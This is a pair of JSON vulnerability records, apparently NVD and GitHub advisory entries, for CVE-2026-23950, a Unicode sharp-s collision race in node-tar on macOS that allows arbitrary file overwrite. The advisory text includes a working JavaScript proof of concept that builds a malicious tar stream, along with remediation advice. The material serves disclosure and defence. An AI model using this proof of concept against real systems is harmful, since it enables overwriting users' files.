{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue."
    }
  ],
  "id": "CVE-2026-23950",
  "lastModified": "2026-01-20T01:15:57.870",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.3,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-20T01:15:57.870",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-176"
        },
        {
          "lang": "en",
          "value": "CWE-352"
        },
        {
          "lang": "en",
          "value": "CWE-367"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-01-21T01:05:49Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}